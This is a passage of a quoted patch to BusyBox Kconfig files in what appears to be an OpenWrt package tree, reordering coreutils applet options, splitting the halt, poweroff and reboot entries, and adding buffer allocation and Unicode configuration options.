>   	depends on BUSYBOX_CONFIG_ECHO || BUSYBOX_CONFIG_ASH_BUILTIN_ECHO || BUSYBOX_CONFIG_HUSH
>   	help
>   	  This adds options (-n and -e) to echo.
> -
>   config BUSYBOX_CONFIG_ENV
>   	bool "env"
>   	default BUSYBOX_DEFAULT_ENV
> @@ -409,7 +248,6 @@ config BUSYBOX_CONFIG_FEATURE_ENV_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_ENV && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the env applet.
> -
>   config BUSYBOX_CONFIG_EXPAND
>   	bool "expand"
>   	default BUSYBOX_DEFAULT_EXPAND
> @@ -423,6 +261,18 @@ config BUSYBOX_CONFIG_FEATURE_EXPAND_LONG_OPTIONS
>   	help
>   	  Support long options for the expand applet.
>   
> +config BUSYBOX_CONFIG_UNEXPAND
> +	bool "unexpand"
> +	default BUSYBOX_DEFAULT_UNEXPAND
> +	help
> +	  By default, convert only leading sequences of blanks to tabs.
> +
> +config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Support long options for the unexpand applet.
>   config BUSYBOX_CONFIG_EXPR
>   	bool "expr"
>   	default BUSYBOX_DEFAULT_EXPR
> @@ -438,25 +288,21 @@ config BUSYBOX_CONFIG_EXPR_MATH_SUPPORT_64
>   	  Enable 64-bit math support in the expr applet. This will make
>   	  the applet slightly larger, but will allow computation with very
>   	  large numbers.
> -
>   config BUSYBOX_CONFIG_FALSE
>   	bool "false"
>   	default BUSYBOX_DEFAULT_FALSE
>   	help
>   	  false returns an exit code of FALSE (1).
> -
>   config BUSYBOX_CONFIG_FOLD
>   	bool "fold"
>   	default BUSYBOX_DEFAULT_FOLD
>   	help
>   	  Wrap text to fit a specific width.
> -
>   config BUSYBOX_CONFIG_FSYNC
>   	bool "fsync"
>   	default BUSYBOX_DEFAULT_FSYNC
>   	help
>   	  fsync is used to flush file-related cached blocks to disk.
> -
>   config BUSYBOX_CONFIG_HEAD
>   	bool "head"
>   	default BUSYBOX_DEFAULT_HEAD
> @@ -469,8 +315,24 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_HEAD
>   	default BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
>   	depends on BUSYBOX_CONFIG_HEAD
>   	help
> -	  This enables the head options (-c, -q, and -v).
> +	  This enables the head options (-c, -q, and -v).
> +config BUSYBOX_CONFIG_HOSTID
> +	bool "hostid"
> +	default BUSYBOX_DEFAULT_HOSTID
> +	help
> +	  hostid prints the numeric identifier (in hexadecimal) for
> +	  the current host.
> +config BUSYBOX_CONFIG_ID
> +	bool "id"
> +	default BUSYBOX_DEFAULT_ID
> +	help
> +	  id displays the current user and group ID names.
>   
> +config BUSYBOX_CONFIG_GROUPS
> +	bool "groups"
> +	default BUSYBOX_DEFAULT_GROUPS
> +	help
> +	  Print the group names associated with current user id.
>   config BUSYBOX_CONFIG_INSTALL
>   	bool "install"
>   	default BUSYBOX_DEFAULT_INSTALL
> @@ -483,25 +345,16 @@ config BUSYBOX_CONFIG_FEATURE_INSTALL_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_INSTALL && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the install applet.
> -
> -####config LENGTH
> -####	bool "length"
> -####	default y
> -####	help
> -####	  length is used to print out the length of a specified string.
> -
>   config BUSYBOX_CONFIG_LN
>   	bool "ln"
>   	default BUSYBOX_DEFAULT_LN
>   	help
>   	  ln is used to create hard or soft links between files.
> -
>   config BUSYBOX_CONFIG_LOGNAME
>   	bool "logname"
>   	default BUSYBOX_DEFAULT_LOGNAME
>   	help
>   	  logname is used to print the current user's login name.
> -
>   config BUSYBOX_CONFIG_LS
>   	bool "ls"
>   	default BUSYBOX_DEFAULT_LS
> @@ -567,13 +420,48 @@ config BUSYBOX_CONFIG_FEATURE_LS_COLOR_IS_DEFAULT
>   	  This is not recommended, since the colors are not
>   	  configurable, and the output may not be legible on
>   	  many output screens.
> -
>   config BUSYBOX_CONFIG_MD5SUM
>   	bool "md5sum"
>   	default BUSYBOX_DEFAULT_MD5SUM
>   	help
>   	  md5sum is used to print or check MD5 checksums.
>   
> +config BUSYBOX_CONFIG_SHA1SUM
> +	bool "sha1sum"
> +	default BUSYBOX_DEFAULT_SHA1SUM
> +	help
> +	  Compute and check SHA1 message digest
> +
> +config BUSYBOX_CONFIG_SHA256SUM
> +	bool "sha256sum"
> +	default BUSYBOX_DEFAULT_SHA256SUM
> +	help
> +	  Compute and check SHA256 message digest
> +
> +config BUSYBOX_CONFIG_SHA512SUM
> +	bool "sha512sum"
> +	default BUSYBOX_DEFAULT_SHA512SUM
> +	help
> +	  Compute and check SHA512 message digest
> +
> +config BUSYBOX_CONFIG_SHA3SUM
> +	bool "sha3sum"
> +	default BUSYBOX_DEFAULT_SHA3SUM
> +	help
> +	  Compute and check SHA3 message digest
> +
> +comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
> +	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> +
> +config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
> +	bool "Enable -c, -s and -w options"
> +	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> +	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> +	help
> +	  Enabling the -c options allows files to be checked
> +	  against pre-calculated hash values.
> +
> +	  -s and -w are useful options when verifying checksums.
>   config BUSYBOX_CONFIG_MKDIR
>   	bool "mkdir"
>   	default BUSYBOX_DEFAULT_MKDIR
> @@ -586,21 +474,18 @@ config BUSYBOX_CONFIG_FEATURE_MKDIR_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_MKDIR && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the mkdir applet.
> -
>   config BUSYBOX_CONFIG_MKFIFO
>   	bool "mkfifo"
>   	default BUSYBOX_DEFAULT_MKFIFO
>   	help
>   	  mkfifo is used to create FIFOs (named pipes).
> -	  The `mknod' program can also create FIFOs.
> -
> +	  The 'mknod' program can also create FIFOs.
>   config BUSYBOX_CONFIG_MKNOD
>   	bool "mknod"
>   	default BUSYBOX_DEFAULT_MKNOD
>   	help
>   	  mknod is used to create FIFOs or block/character special
>   	  files with the specified names.
> -
>   config BUSYBOX_CONFIG_MV
>   	bool "mv"
>   	default BUSYBOX_DEFAULT_MV
> @@ -613,44 +498,37 @@ config BUSYBOX_CONFIG_FEATURE_MV_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_MV && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the mv applet.
> -
>   config BUSYBOX_CONFIG_NICE
>   	bool "nice"
>   	default BUSYBOX_DEFAULT_NICE
>   	help
>   	  nice runs a program with modified scheduling priority.
> -
>   config BUSYBOX_CONFIG_NOHUP
>   	bool "nohup"
>   	default BUSYBOX_DEFAULT_NOHUP
>   	help
>   	  run a command immune to hangups, with output to a non-tty.
> -
>   config BUSYBOX_CONFIG_OD
>   	bool "od"
>   	default BUSYBOX_DEFAULT_OD
>   	help
>   	  od is used to dump binary files in octal and other formats.
> -
>   config BUSYBOX_CONFIG_PRINTENV
>   	bool "printenv"
>   	default BUSYBOX_DEFAULT_PRINTENV
>   	help
>   	  printenv is used to print all or part of environment.
> -
>   config BUSYBOX_CONFIG_PRINTF
>   	bool "printf"
>   	default BUSYBOX_DEFAULT_PRINTF
>   	help
>   	  printf is used to format and print specified strings.
>   	  It's similar to `echo' except it has more options.
> -
>   config BUSYBOX_CONFIG_PWD
>   	bool "pwd"
>   	default BUSYBOX_DEFAULT_PWD
>   	help
>   	  pwd is used to print the current directory.
> -
>   config BUSYBOX_CONFIG_READLINK
>   	bool "readlink"
>   	default BUSYBOX_DEFAULT_READLINK
> @@ -664,20 +542,17 @@ config BUSYBOX_CONFIG_FEATURE_READLINK_FOLLOW
>   	depends on BUSYBOX_CONFIG_READLINK
>   	help
>   	  Enable the readlink option (-f).
> -
>   config BUSYBOX_CONFIG_REALPATH
>   	bool "realpath"
>   	default BUSYBOX_DEFAULT_REALPATH
>   	help
>   	  Return the canonicalized absolute pathname.
>   	  This isn't provided by GNU shellutils, but where else does it belong.
> -
>   config BUSYBOX_CONFIG_RM
>   	bool "rm"
>   	default BUSYBOX_DEFAULT_RM
>   	help
>   	  rm is used to remove files or directories.
> -
>   config BUSYBOX_CONFIG_RMDIR
>   	bool "rmdir"
>   	default BUSYBOX_DEFAULT_RMDIR
> @@ -691,37 +566,16 @@ config BUSYBOX_CONFIG_FEATURE_RMDIR_LONG_OPTIONS
>   	help
>   	  Support long options for the rmdir applet, including
>   	  --ignore-fail-on-non-empty for compatibility with GNU rmdir.
> -
>   config BUSYBOX_CONFIG_SEQ
>   	bool "seq"
>   	default BUSYBOX_DEFAULT_SEQ
>   	help
>   	  print a sequence of numbers
> -
> -config BUSYBOX_CONFIG_SHA1SUM
> -	bool "sha1sum"
> -	default BUSYBOX_DEFAULT_SHA1SUM
> -	help
> -	  Compute and check SHA1 message digest
> -
> -config BUSYBOX_CONFIG_SHA256SUM
> -	bool "sha256sum"
> -	default BUSYBOX_DEFAULT_SHA256SUM
> -	help
> -	  Compute and check SHA256 message digest
> -
> -config BUSYBOX_CONFIG_SHA512SUM
> -	bool "sha512sum"
> -	default BUSYBOX_DEFAULT_SHA512SUM
> -	help
> -	  Compute and check SHA512 message digest
> -
> -config BUSYBOX_CONFIG_SHA3SUM
> -	bool "sha3sum"
> -	default BUSYBOX_DEFAULT_SHA3SUM
> +config BUSYBOX_CONFIG_SHUF
> +	bool "shuf"
> +	default BUSYBOX_DEFAULT_SHUF
>   	help
> -	  Compute and check SHA3 (512-bit) message digest
> -
> +	  Generate random permutations
>   config BUSYBOX_CONFIG_SLEEP
>   	bool "sleep"
>   	default BUSYBOX_DEFAULT_SLEEP
> @@ -749,7 +603,6 @@ config BUSYBOX_CONFIG_FEATURE_FLOAT_SLEEP
>   	depends on BUSYBOX_CONFIG_FEATURE_FANCY_SLEEP
>   	help
>   	  Allow for fractional numeric parameters.
> -
>   config BUSYBOX_CONFIG_SORT
>   	bool "sort"
>   	default BUSYBOX_DEFAULT_SORT
> @@ -767,7 +620,6 @@ config BUSYBOX_CONFIG_FEATURE_SORT_BIG
>   
>   	  The SuSv3 sort standard is available at:
>   	  http://www.opengroup.org/onlinepubs/007904975/utilities/sort.html
> -
>   config BUSYBOX_CONFIG_SPLIT
>   	bool "split"
>   	default BUSYBOX_DEFAULT_SPLIT
> @@ -782,25 +634,56 @@ config BUSYBOX_CONFIG_FEATURE_SPLIT_FANCY
>   	  Add support for features not required by SUSv3.
>   	  Supports additional suffixes 'b' for 512 bytes,
>   	  'g' for 1GiB for the -b option.
> +config BUSYBOX_CONFIG_STAT
> +	bool "stat"
> +	default BUSYBOX_DEFAULT_STAT
> +	help
> +	  display file or filesystem status.
> +
> +config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
> +	bool "Enable custom formats (-c)"
> +	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> +	depends on BUSYBOX_CONFIG_STAT
> +	help
> +	  Without this, stat will not support the '-c format' option where
> +	  users can pass a custom format string for output. This adds about
> +	  7k to a nonstatic build on amd64.
>   
> +config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
> +	bool "Enable display of filesystem status (-f)"
> +	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> +	depends on BUSYBOX_CONFIG_STAT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
> +	help
> +	  Without this, stat will not support the '-f' option to display
> +	  information about filesystem status.
>   config BUSYBOX_CONFIG_STTY
>   	bool "stty"
>   	default BUSYBOX_DEFAULT_STTY
>   	help
>   	  stty is used to change and print terminal line settings.
> -
>   config BUSYBOX_CONFIG_SUM
>   	bool "sum"
>   	default BUSYBOX_DEFAULT_SUM
>   	help
>   	  checksum and count the blocks in a file
> -
> +config BUSYBOX_CONFIG_SYNC
> +	bool "sync"
> +	default BUSYBOX_DEFAULT_SYNC
> +	help
> +	  sync is used to flush filesystem buffers.
> +config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
> +	bool "Enable -d and -f flags (requires syncfs(2) in libc)"
> +	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> +	depends on BUSYBOX_CONFIG_SYNC
> +	help
> +	  sync -d FILE... executes fdatasync() on each FILE.
> +	  sync -f FILE... executes syncfs() on each FILE.
>   config BUSYBOX_CONFIG_TAC
>   	bool "tac"
>   	default BUSYBOX_DEFAULT_TAC
>   	help
>   	  tac is used to concatenate and print files in reverse.
> -
>   config BUSYBOX_CONFIG_TAIL
>   	bool "tail"
>   	default BUSYBOX_DEFAULT_TAIL
> @@ -820,7 +703,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_TAIL
>   	    -s SEC  Wait SEC seconds between reads with -f
>   	    -v      Always output headers giving file names
>   	    -F      Same as -f, but keep retrying
> -
>   config BUSYBOX_CONFIG_TEE
>   	bool "tee"
>   	default BUSYBOX_DEFAULT_TEE
> @@ -834,20 +716,95 @@ config BUSYBOX_CONFIG_FEATURE_TEE_USE_BLOCK_IO
>   	depends on BUSYBOX_CONFIG_TEE
>   	help
>   	  Enable this option for a faster tee, at expense of size.
> +config BUSYBOX_CONFIG_TEST
> +	bool "test"
> +	default BUSYBOX_DEFAULT_TEST
> +	help
> +	  test is used to check file types and compare values,
> +	  returning an appropriate exit code. The bash shell
> +	  has test built in, ash can build it in optionally.
> +
> +config BUSYBOX_CONFIG_TEST1
> +	bool "test as ["
> +	default BUSYBOX_DEFAULT_TEST1
> +	help
> +	  Provide test command in the "[ EXPR ]" form
> +
> +config BUSYBOX_CONFIG_TEST2
> +	bool "test as [["
> +	default BUSYBOX_DEFAULT_TEST2
> +	help
> +	  Provide test command in the "[[ EXPR ]]" form
> +
> +config BUSYBOX_CONFIG_FEATURE_TEST_64
> +	bool "Extend test to 64 bit"
> +	default BUSYBOX_DEFAULT_FEATURE_TEST_64
> +	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_TEST1 || BUSYBOX_CONFIG_TEST2 || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
> +	help
> +	  Enable 64-bit support in test.
> +config BUSYBOX_CONFIG_TOUCH
> +	bool "touch"
> +	default BUSYBOX_DEFAULT_TOUCH
> +	help
> +	  touch is used to create or change the access and/or
> +	  modification timestamp of specified files.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
> +	bool "Add support for -h"
> +	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> +	depends on BUSYBOX_CONFIG_TOUCH
> +	help
> +	  Enable touch to have the -h option.
> +	  This requires libc support for lutimes() function.
> +
> +config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
> +	bool "Add support for SUSV3 features (-d -t -r)"
> +	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> +	depends on BUSYBOX_CONFIG_TOUCH
> +	help
> +	  Enable touch to use a reference file or a given date/time argument.
> +config BUSYBOX_CONFIG_TR
> +	bool "tr"
> +	default BUSYBOX_DEFAULT_TR
> +	help
> +	  tr is used to squeeze, and/or delete characters from standard
> +	  input, writing to standard output.
>   
> +config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
> +	bool "Enable character classes (such as [:upper:])"
> +	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> +	depends on BUSYBOX_CONFIG_TR
> +	help
> +	  Enable character classes, enabling commands such as:
> +	  tr [:upper:] [:lower:] to convert input into lowercase.
> +
> +config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
> +	bool "Enable equivalence classes"
> +	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> +	depends on BUSYBOX_CONFIG_TR
> +	help
> +	  Enable equivalence classes, which essentially add the enclosed
> +	  character to the current set. For instance, tr [=a=] xyz would
> +	  replace all instances of 'a' with 'xyz'. This option is mainly
> +	  useful for cases when no other way of expressing a character
> +	  is possible.
>   config BUSYBOX_CONFIG_TRUE
>   	bool "true"
>   	default BUSYBOX_DEFAULT_TRUE
>   	help
>   	  true returns an exit code of TRUE (0).
> -
> +config BUSYBOX_CONFIG_TRUNCATE
> +	bool "truncate"
> +	default BUSYBOX_DEFAULT_TRUNCATE
> +	help
> +	  truncate truncates files to a given size. If a file does
> +	  not exist, it is created unless told otherwise.
>   config BUSYBOX_CONFIG_TTY
>   	bool "tty"
>   	default BUSYBOX_DEFAULT_TTY
>   	help
>   	  tty is used to print the name of the current terminal to
>   	  standard output.
> -
>   config BUSYBOX_CONFIG_UNAME
>   	bool "uname"
>   	default BUSYBOX_DEFAULT_UNAME
> @@ -861,44 +818,36 @@ config BUSYBOX_CONFIG_UNAME_OSNAME
>   	help
>   	  Sets the operating system name reported by uname -o.  The
>   	  default BUSYBOX_DEFAULT_UNAME_OSNAME "GNU/Linux".
> -
> -config BUSYBOX_CONFIG_UNEXPAND
> -	bool "unexpand"
> -	default BUSYBOX_DEFAULT_UNEXPAND
> -	help
> -	  By default, convert only leading sequences of blanks to tabs.
> -
> -config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the unexpand applet.
> -
>   config BUSYBOX_CONFIG_UNIQ
>   	bool "uniq"
>   	default BUSYBOX_DEFAULT_UNIQ
>   	help
>   	  uniq is used to remove duplicate lines from a sorted file.
> -
> +config BUSYBOX_CONFIG_UNLINK
> +	bool "unlink"
> +	default BUSYBOX_DEFAULT_UNLINK
> +	help
> +	  unlink deletes a file by calling unlink()
>   config BUSYBOX_CONFIG_USLEEP
>   	bool "usleep"
>   	default BUSYBOX_DEFAULT_USLEEP
>   	help
>   	  usleep is used to pause for a specified number of microseconds.
> -
>   config BUSYBOX_CONFIG_UUDECODE
>   	bool "uudecode"
>   	default BUSYBOX_DEFAULT_UUDECODE
>   	help
>   	  uudecode is used to decode a uuencoded file.
> -
> +config BUSYBOX_CONFIG_BASE64
> +	bool "base64"
> +	default BUSYBOX_DEFAULT_BASE64
> +	help
> +	  Base64 encode and decode
>   config BUSYBOX_CONFIG_UUENCODE
>   	bool "uuencode"
>   	default BUSYBOX_DEFAULT_UUENCODE
>   	help
>   	  uuencode is used to uuencode a file.
> -
>   config BUSYBOX_CONFIG_WC
>   	bool "wc"
>   	default BUSYBOX_DEFAULT_WC
> @@ -912,14 +861,25 @@ config BUSYBOX_CONFIG_FEATURE_WC_LARGE
>   	depends on BUSYBOX_CONFIG_WC
>   	help
>   	  Use "unsigned long long" in wc for counter variables.
> +config BUSYBOX_CONFIG_WHO
> +      bool "who"
> +      default BUSYBOX_DEFAULT_WHO
> +      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +      help
> +        who is used to show who is logged on.
>   
> +config BUSYBOX_CONFIG_USERS
> +      bool "users"
> +      default BUSYBOX_DEFAULT_USERS
> +      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> +      help
> +        Print users currently logged on.
>   config BUSYBOX_CONFIG_WHOAMI
>   	bool "whoami"
>   	default BUSYBOX_DEFAULT_WHOAMI
>   	help
>   	  whoami is used to print the username of the current
>   	  user id (same as id -un).
> -
>   config BUSYBOX_CONFIG_YES
>   	bool "yes"
>   	default BUSYBOX_DEFAULT_YES
> @@ -971,17 +931,4 @@ config BUSYBOX_CONFIG_FEATURE_HUMAN_READABLE
>   	help
>   	  Allow df, du, and ls to have human readable output.
>   
> -comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
> -	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> -
> -config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
> -	bool "Enable -c, -s and -w options"
> -	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> -	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> -	help
> -	  Enabling the -c options allows files to be checked
> -	  against pre-calculated hash values.
> -
> -	  -s and -w are useful options when verifying checksums.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/findutils/Config.in b/package/utils/busybox/config/findutils/Config.in
> index 85ee1db..7d636d1 100644
> --- a/package/utils/busybox/config/findutils/Config.in
> +++ b/package/utils/busybox/config/findutils/Config.in
> @@ -194,28 +194,22 @@ config BUSYBOX_CONFIG_GREP
>   	help
>   	  grep is used to search files for a specified pattern.
>   
> -config BUSYBOX_CONFIG_FEATURE_GREP_EGREP_ALIAS
> -	bool "Enable extended regular expressions (egrep & grep -E)"
> -	default BUSYBOX_DEFAULT_FEATURE_GREP_EGREP_ALIAS
> -	depends on BUSYBOX_CONFIG_GREP
> +config BUSYBOX_CONFIG_EGREP
> +	bool "egrep"
> +	default BUSYBOX_DEFAULT_EGREP
>   	help
> -	  Enabled support for extended regular expressions. Extended
> -	  regular expressions allow for alternation (foo|bar), grouping,
> -	  and various repetition operators.
> +	  Alias to "grep -E"
>   
> -config BUSYBOX_CONFIG_FEATURE_GREP_FGREP_ALIAS
> -	bool "Alias fgrep to grep -F"
> -	default BUSYBOX_DEFAULT_FEATURE_GREP_FGREP_ALIAS
> -	depends on BUSYBOX_CONFIG_GREP
> +config BUSYBOX_CONFIG_FGREP
> +	bool "fgrep"
> +	default BUSYBOX_DEFAULT_FGREP
>   	help
> -	  fgrep sees the search pattern as a normal string rather than
> -	  regular expressions.
> -	  grep -F always works, this just creates the fgrep alias.
> +	  Alias to "grep -F"
>   
>   config BUSYBOX_CONFIG_FEATURE_GREP_CONTEXT
>   	bool "Enable before and after context flags (-A, -B and -C)"
>   	default BUSYBOX_DEFAULT_FEATURE_GREP_CONTEXT
> -	depends on BUSYBOX_CONFIG_GREP
> +	depends on BUSYBOX_CONFIG_GREP || BUSYBOX_CONFIG_EGREP
>   	help
>   	  Print the specified number of leading (-B) and/or trailing (-A)
>   	  context surrounding our matching lines.
> diff --git a/package/utils/busybox/config/init/Config.in b/package/utils/busybox/config/init/Config.in
> index 021656d..cd1a345 100644
> --- a/package/utils/busybox/config/init/Config.in
> +++ b/package/utils/busybox/config/init/Config.in
> @@ -45,15 +45,27 @@ config BUSYBOX_CONFIG_FEATURE_BOOTCHARTD_CONFIG_FILE
>   	  Enable reading and parsing of $PWD/bootchartd.conf
>   	  and /etc/bootchartd.conf files.
>   config BUSYBOX_CONFIG_HALT
> -	bool "poweroff, halt, and reboot"
> +	bool "halt"
>   	default BUSYBOX_DEFAULT_HALT
>   	help
> -	  Stop all processes and either halt, reboot, or power off the system.
> +	  Stop all processes and halt the system.
> +
> +config BUSYBOX_CONFIG_POWEROFF
> +	bool "poweroff"
> +	default BUSYBOX_DEFAULT_POWEROFF
> +	help
> +	  Stop all processes and power off the system.
> +
> +config BUSYBOX_CONFIG_REBOOT
> +	bool "reboot"
> +	default BUSYBOX_DEFAULT_REBOOT
> +	help
> +	  Stop all processes and reboot the system.
>   
>   config BUSYBOX_CONFIG_FEATURE_CALL_TELINIT
>   	bool "Call telinit on shutdown and reboot"
>   	default BUSYBOX_DEFAULT_FEATURE_CALL_TELINIT
> -	depends on BUSYBOX_CONFIG_HALT && !BUSYBOX_CONFIG_INIT
> +	depends on (BUSYBOX_CONFIG_HALT || BUSYBOX_CONFIG_POWEROFF || BUSYBOX_CONFIG_REBOOT) && !BUSYBOX_CONFIG_INIT
>   	help
>   	  Call an external program (normally telinit) to facilitate
>   	  a switch to a proper runlevel.
> @@ -143,7 +155,7 @@ config BUSYBOX_CONFIG_FEATURE_EXTRA_QUIET
>   
>   config BUSYBOX_CONFIG_FEATURE_INIT_COREDUMPS
>   	bool "Support dumping core for child processes (debugging only)"
> -	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS
> +	default BUSYBOX_DEFAULT_FEATURE_INIT_COREDUMPS	# not Y because this is a debug option
>   	depends on BUSYBOX_CONFIG_INIT || BUSYBOX_CONFIG_LINUXRC
>   	help
>   	  If this option is enabled and the file /.init_enable_core
> diff --git a/package/utils/busybox/config/libbb/Config.in b/package/utils/busybox/config/libbb/Config.in
> index 0695f9b..ec08351 100644
> --- a/package/utils/busybox/config/libbb/Config.in
> +++ b/package/utils/busybox/config/libbb/Config.in
> @@ -45,6 +45,30 @@ config BUSYBOX_CONFIG_FEATURE_RTMINMAX
>   	  Support RTMIN[+n] and RTMAX[-n] signal names
>   	  in kill, killall etc. This costs ~250 bytes.
>   
> +choice
> +	prompt "Buffer allocation policy"
> +	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> +	help
> +	  There are 3 ways BusyBox can handle buffer allocations:
> +	  - Use malloc. This costs code size for the call to xmalloc.
> +	  - Put them on stack. For some very small machines with limited stack
> +	    space, this can be deadly. For most folks, this works just fine.
> +	  - Put them in BSS. This works beautifully for computers with a real
> +	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
> +	    behavior was the only one available for BusyBox versions 0.48 and
> +	    earlier.
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
> +	bool "Allocate with Malloc"
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
> +	bool "Allocate on the Stack"
> +
> +config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
> +	bool "Allocate in the .bss section"
> +
> +endchoice
> +
>   config BUSYBOX_CONFIG_PASSWORD_MINLEN
>   	int "Minimum password length"
>   	default BUSYBOX_DEFAULT_PASSWORD_MINLEN
> @@ -191,6 +215,131 @@ config BUSYBOX_CONFIG_FEATURE_EDITING_ASK_TERMINAL
>   	  correctly, or want to save on code size (about 400 bytes),
>   	  then do not turn this option on.
>   
> +config BUSYBOX_CONFIG_LOCALE_SUPPORT
> +	bool "Enable locale support (system needs locale for this to work)"
> +	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
> +	help
> +	  Enable this if your system has locale support and you would like
> +	  busybox to support locale settings.
> +
> +config BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	bool "Support Unicode"
> +	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
> +	help
> +	  This makes various applets aware that one byte is not
> +	  one character on screen.
> +
> +	  Busybox aims to eventually work correctly with Unicode displays.
> +	  Any older encodings are not guaranteed to work.
> +	  Probably by the time when busybox will be fully Unicode-clean,
> +	  other encodings will be mainly of historic interest.
> +
> +config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	bool "Use libc routines for Unicode (else uses internal ones)"
> +	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
> +	help
> +	  With this option on, Unicode support is implemented using libc
> +	  routines. Otherwise, internal implementation is used.
> +	  Internal implementation is smaller.
> +
> +config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
> +	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
> +	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
> +	help
> +	  With this option on, Unicode support is activated
> +	  only if locale-related variables have the value of the form
> +	  "xxxx.utf8"
> +
> +	  Otherwise, Unicode support will be always enabled and active.
> +
> +config BUSYBOX_CONFIG_SUBST_WCHAR
> +	int "Character code to substitute unprintable characters with"
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	default BUSYBOX_DEFAULT_SUBST_WCHAR
> +	help
> +	  Typical values are 63 for '?' (works with any output device),
> +	  30 for ASCII substitute control code,
> +	  65533 (0xfffd) for Unicode replacement character.
> +
> +config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
> +	int "Range of supported Unicode characters"
> +	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
> +	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
> +	help
> +	  Any character with Unicode value bigger than this is assumed
> +	  to be non-printable on output device. Many applets replace
> +	  such characters with substitution character.
> +
> +	  The idea is that many valid printable Unicode chars
> +	  nevertheless are not displayed correctly. Think about
> +	  combining charachers, double-wide hieroglyphs, obscure
> +	  characters in dozens of ancient scripts...
> +	  Many terminals, terminal emulators, xterms etc will fail
> +	  to handle them correctly. Choose the smallest value
> +	  which suits your needs.
> +
> +	  Typical values are:
> +	  126 - ASCII only
> +	  767 (0x2ff) - there are no combining chars in [0..767] range
> +			(the range includes Latin 1, Latin Ext. A and B),
> +			code is ~700 bytes smaller for this case.
